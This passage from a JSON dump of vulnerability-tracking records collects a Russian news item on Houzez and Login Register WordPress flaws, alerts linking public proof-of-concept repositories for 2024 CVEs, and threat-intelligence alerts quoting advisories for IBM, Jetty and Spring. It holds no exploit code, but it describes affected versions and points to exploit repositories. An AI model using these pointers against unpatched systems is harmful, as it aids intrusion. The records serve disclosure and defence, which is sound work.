\u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0437\u0430\u0445\u0432\u0430\u0442\u0430\n\n\ud83d\udcac\u0412 \u0442\u0435\u043c\u0435 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f Houzez \u0434\u043b\u044f WordPress, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c \u0441 \u043d\u0435\u0439 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Login Register, \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0449\u0438\u0435 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 46 000 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 PatchStack \u0432\u044b\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0443\u0436\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u043d\u0438 \u0432\u0441\u0451 \u0435\u0449\u0451 \u043c\u043e\u0433\u0443\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress-\u0441\u0430\u0439\u0442\u043e\u0432, \u0433\u0434\u0435 \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043a\u0430 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0442\u0435\u043c\u0435 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f Houzez. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u0440\u0438 \u0441\u0431\u0440\u043e\u0441\u0435 \u043f\u0430\u0440\u043e\u043b\u044f. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-22303.\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b PatchStack \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u044e\u0442, \u0447\u0442\u043e \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 nonce-\u0442\u043e\u043a\u0435\u043d\u0430 \u0445\u043e\u0442\u044c \u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430, \u043d\u043e \u0435\u0451 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0440\u043e\u043b\u044c\u044e \u00ab\u041f\u043e\u0434\u043f\u0438\u0441\u0447\u0438\u043a\u00bb. \u0415\u0441\u043b\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0431\u044b\u043b\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0442\u043e\u043a\u0435\u043d\u0443 \u0434\u043b\u044f \u0441\u043c\u0435\u043d\u044b \u043f\u0430\u0440\u043e\u043b\u044f.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Login Register. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-21743, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u043e\u0432, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439.\n\n\u0421 \u0446\u0435\u043b\u044c\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043f\u0430\u0442\u0447\u0438 \u043a\u0430\u043a \u0434\u043b\u044f Houzez, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f Login Register. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.3.0 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435, \u0433\u0434\u0435 \u0431\u044b\u043b\u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u044b \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0440\u043e\u043b\u0435\u0439 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f.\n\nPatchStack \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u043e\u0433\u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 WordPress, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a wp_update_user() \u0438 update_user_meta().\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-09-24T15:44:43.000000Z"}, {"uuid": "8bdb86fb-947d-4394-8c14-c35a3bb3a8e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6582", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCheck for CVE-2024-22024 vulnerability in Ivanti Connect Secure\nURL\uff1ahttps://github.com/0dteam/CVE-2024-22024\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-02-09T14:35:27.000000Z"}, {"uuid": "7ab4b625-ba25-460f-90b0-c4667450e273", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6645", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22369 Reproducer\nURL\uff1ahttps://github.com/oscerd/CVE-2024-22369\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-02-20T17:51:08.000000Z"}, {"uuid": "4c82dcca-0562-4300-8fc7-69dd1a196312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22234", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6661", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a env of CVE-2024-22243&CVE-2024-22234\nURL\uff1ahttps://github.com/shellfeel/CVE-2024-22243-CVE-2024-22234\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-02-23T10:13:50.000000Z"}, {"uuid": "080bab42-0293-45ed-87bf-e8a7f0d053bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6661", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a env of CVE-2024-22243&CVE-2024-22234\nURL\uff1ahttps://github.com/shellfeel/CVE-2024-22243-CVE-2024-22234\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-02-23T10:13:50.000000Z"}, {"uuid": "197de18e-2012-4b21-b2ac-f98336f308d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22252", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6761", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-22252 VMware ESXi, Workstation RCE on HOST\nURL\uff1ahttps://github.com/crackmapEZec/CVE-2024-22252-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-03-09T19:59:19.000000Z"}, {"uuid": "fe479553-bfb0-4750-8be9-7217a5fc384d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22328", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6969", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aAbout POC CVE-2024-22328 Exploit \nURL\uff1ahttps://github.com/RansomGroupCVE/CVE-2024-22328-POC\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-04-08T14:22:11.000000Z"}, {"uuid": "2be3a895-08a1-4284-90d3-8d9a8af46d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22347", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2371", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22347\n\ud83d\udd39 Description: IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.\n\ud83d\udccf Published: 2025-01-20T17:41:43.506Z\n\ud83d\udccf Modified: 2025-01-20T17:41:43.506Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7172750", "creation_timestamp": "2025-01-20T18:01:04.000000Z"}, {"uuid": "726ee765-ff5e-4d00-8598-72fbe18e0056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22348", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2372", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22348\n\ud83d\udd39 Description: IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.\n\ud83d\udccf Published: 2025-01-20T17:40:31.965Z\n\ud83d\udccf Modified: 2025-01-20T17:40:31.965Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7172750", "creation_timestamp": "2025-01-20T18:01:05.000000Z"}, {"uuid": "382310e5-a79e-4899-b817-2addcbad05ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22349", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/2370", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22349\n\ud83d\udd39 Description: IBM DevOps Velocity 5.0.0 and IBM UrbanCode Velocity 4.0.0 through 4.0. 25 allows web pages to be stored locally which can be read by another user on the system.\n\ud83d\udccf Published: 2025-01-20T17:42:37.885Z\n\ud83d\udccf Modified: 2025-01-20T17:42:37.885Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7172750", "creation_timestamp": "2025-01-20T18:01:04.000000Z"}, {"uuid": "31d854df-9f1b-4a5a-b75b-71b06a532100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4421", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-2240\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Docker daemon in Brocade SANnav before SANnav 2.3.1b runs without auditing. The vulnerability could allow a remote authenticated attacker to execute various attacks.\n\ud83d\udccf Published: 2025-02-14T06:30:36Z\n\ud83d\udccf Modified: 2025-02-14T06:30:36Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-2240\n2. https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/25401", "creation_timestamp": "2025-02-14T07:09:53.000000Z"}, {"uuid": "288f5ee6-18e0-4f6c-8337-1a478e8e59a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22315", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3212", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22315\n\ud83d\udd25 CVSS Score: 4.0 (CVSS_V3)\n\ud83d\udd39 Description: IBM Fusion and IBM Fusion HCI 2.3.0 through 2.8.2 is vulnerable to insecure network connection by allowing an attacker who gains access to a Fusion container to establish an external network connection.\n\ud83d\udccf Published: 2025-01-28T03:31:14Z\n\ud83d\udccf Modified: 2025-01-28T03:31:14Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22315\n2. https://www.ibm.com/support/pages/node/7179168", "creation_timestamp": "2025-01-28T04:09:11.000000Z"}, {"uuid": "044f99eb-a2b5-40f2-a3c5-c3f69ed5574f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2226", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3576", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-2226\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The Otter Blocks \u2013 Gutenberg Blocks, Page Builder for Gutenberg Editor & FSE plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the id parameter in the google-map block in all versions up to, and including, 2.6.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers with contributor access and higher to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2024-04-09T21:31:59Z\n\ud83d\udccf Modified: 2025-01-31T03:32:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-2226\n2. https://plugins.trac.wordpress.org/changeset/3050429/otter-blocks\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/217d3148-d411-4fff-a4f6-d5d02ef207af?source=cve", "creation_timestamp": "2025-01-31T04:13:10.000000Z"}, {"uuid": "a6ca6c8e-31cf-441f-8b4c-7280afc0cf68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2226", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3560", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-2226\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2024-04-09T19:15:30.320\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://plugins.trac.wordpress.org/changeset/3050429/otter-blocks\n2. https://www.wordfence.com/threat-intel/vulnerabilities/id/217d3148-d411-4fff-a4f6-d5d02ef207af?source=cve\n3. https://plugins.trac.wordpress.org/changeset/3050429/otter-blocks\n4. https://www.wordfence.com/threat-intel/vulnerabilities/id/217d3148-d411-4fff-a4f6-d5d02ef207af?source=cve", "creation_timestamp": "2025-01-31T03:22:05.000000Z"}, {"uuid": "67cef734-3e0f-4657-9389-20c1fb79a155", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22201", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3831", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22201\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: ### Impact\nIf an HTTP/2 connection gets TCP congested, when an idle timeout occurs the HTTP/2 session is marked as closed, and then a GOAWAY frame is queued to be written.\nHowever it is not written because the connection is TCP congested.\nWhen another idle timeout period elapses, it is then supposed to hard close the connection, but it delegates to the HTTP/2 session which reports that it has already been closed so it does not attempt to hard close the connection.\n\nThis leaves the connection in ESTABLISHED state (i.e. not closed), TCP congested, and idle.\n\nAn attacker can cause many connections to end up in this state, and the server may run out of file descriptors, eventually causing the server to stop accepting new connections from valid clients.\n\nThe client may also be impacted (if the server does not read causing a TCP congestion), but the issue is more severe for servers.\n\n### Patches\nPatched versions:\n* 9.4.54\n* 10.0.20\n* 11.0.20\n* 12.0.6\n\n### Workarounds\nDisable HTTP/2 and HTTP/3 support until you can upgrade to a patched version of Jetty.\nHTTP/1.x is not affected.\n\n### References\n* https://github.com/jetty/jetty.project/issues/11256.\n\ud83d\udccf Published: 2024-02-26T20:13:46Z\n\ud83d\udccf Modified: 2025-02-07T20:44:34Z\n\ud83d\udd17 References:\n1. https://github.com/jetty/jetty.project/security/advisories/GHSA-rggv-cv7r-mw98\n2. https://nvd.nist.gov/vuln/detail/CVE-2024-22201\n3. https://github.com/jetty/jetty.project/issues/11256\n4. https://github.com/jetty/jetty.project/issues/11259\n5. https://github.com/jetty/jetty.project/commit/0839a208cdc3fcfe25206a77af59ba9fda260188\n6. https://github.com/jetty/jetty.project/commit/b953871c9a5ff4fbca4a2499848f75182dbd9810\n7. https://github.com/jetty/jetty.project\n8. https://lists.debian.org/debian-lts-announce/2024/04/msg00002.html\n9. https://security.netapp.com/advisory/ntap-20240329-0001\n10. http://www.openwall.com/lists/oss-security/2024/03/20/2", "creation_timestamp": "2025-02-07T21:03:04.000000Z"}, {"uuid": "0ca6319d-73ff-4435-9a53-9666d7d71e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22233", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4337", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22233\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: In Spring Framework versions 6.0.15 and 6.1.2, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition.\n\nSpecifically, an application is vulnerable when all of the following are true:\n\n  *  the application uses Spring MVC\n  *  Spring Security 6.1.6+ or 6.2.1+ is on the classpath\n\n\nTypically, Spring Boot applications need the org.springframework.boot:spring-boot-starter-web\u00a0and org.springframework.boot:spring-boot-starter-security\u00a0dependencies to meet all conditions.\n\ud83d\udccf Published: 2024-01-22T15:30:23Z\n\ud83d\udccf Modified: 2025-02-13T19:33:11Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22233\n2. https://security.netapp.com/advisory/ntap-20240614-0005\n3. https://spring.io/security/cve-2024-22233", "creation_timestamp": "2025-02-13T20:13:10.000000Z"}, {"uuid": "efe10584-beb1-4567-8450-b526ddd79d9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22235", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4106", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22235\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2024-02-21T05:15:08.880\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://www.vmware.com/security/advisories/VMSA-2024-0004.html\n2. https://www.vmware.com/security/advisories/VMSA-2024-0004.html", "creation_timestamp": "2025-02-12T17:07:54.000000Z"}, {"uuid": "829ecde5-5474-458d-abdf-811634c80057", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22262", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4331", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-22262\n\ud83d\udd25 CVSS Score: 8.0 (CVSS_V3)\n\ud83d\udd39 Description: Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.\n\nThis is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\ud83d\udccf Published: 2024-04-16T06:30:28Z\n\ud83d\udccf Modified: 2025-02-13T19:00:56Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-22262\n2. https://github.com/spring-projects/spring-framework\n3. https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/util/UriComponentsBuilder.java\n4. 